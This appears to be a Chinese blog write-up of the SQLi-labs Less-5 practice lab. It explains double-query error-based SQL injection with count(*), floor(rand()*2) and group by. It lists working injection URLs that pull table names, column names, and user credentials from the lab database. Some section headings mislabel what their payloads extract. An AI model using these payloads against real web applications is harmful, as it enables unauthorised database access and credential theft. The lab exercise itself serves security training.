Sqlilabs-5

這一節引入了新的概念:雙查詢
其利用的原理就是:有研究人員發現,當聚合函數和分組函數,隨機函數,取整函數聯合使用時會報錯,其報錯內容會將查詢的內容顯示出來。第五關就是基於這個原理。
93d03f37b79b2c07a01e7b441a5b054.png

在這裏先講述幾個概念:
雙查詢:顧名思義就是包含一個子查詢的查詢select concat((select database()))
取整函數:select floor(0.11111)將取整爲 0
隨機函數:select rand()將產生一範圍在0~1的隨機數
聚合函數:如 count
分組函數:group by,比如查詢出來的結果有 10 個 A,10 個 B,可用該函數把 A 分爲一組,把 B 分爲一組
取整函數和隨機函數的結合使用:floor(rand()*2)這樣的結果爲 0 或者 1

當構造:select count(*),concat((select database()),floor(rand()*2)) from information_schema.tables group by a時,[一次沒有就刷新,刷新幾次就有]就會有報錯

構造 ID 後,顯示的內容爲:You are in…
http://sqlilabs/Less-5/?id=1 回顯正常
http://sqlilabs/Less-5/?id=1' 回顯報錯
http://sqlilabs/Less-5/?id=1'--+ 回顯正常
22c38d67eab5b490a9e3bbdf597347c.png

因爲正常時返回的內容爲 You are in…無法從返回結果得到信息,跟 1 - 4 關不一樣的地方就在此,可以利用上述上查詢報錯得到我們想要的,初步構造
http://sqlilabs/Less-5/?id=1' order by 3--+ 回顯正常
http://sqlilabs/Less-5/?id=1' order by 4--+ 回顯錯誤

爆數據庫名:
http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor(rand()*2))a from information_schema.tables group by a--+
刷新幾次得到報錯,這裏還需要添加 limit 函數,否則會說返回的結果大於 1 行,一次次試即可得到結果

爆數據庫表:[同樣更改 limit 取值,一個個嘗試]
http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1),floor(rand()*2))a from information_schema.tables group by a--+

爆數據庫字段:[同上]
http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select usernamefrom users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
http://sqlilabs/Less-5/?id=-1' union select 1,count(*),concat((select password from users limit 0,1),floor(rand()*2))a from information_schema.tables group by a--+
一個個改造,得到一個用戶名轉而去獲取對應密碼,直到得到全部用戶名和密碼

f9a34c3b4240208d2f9eaddfac0290e.png

😄

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章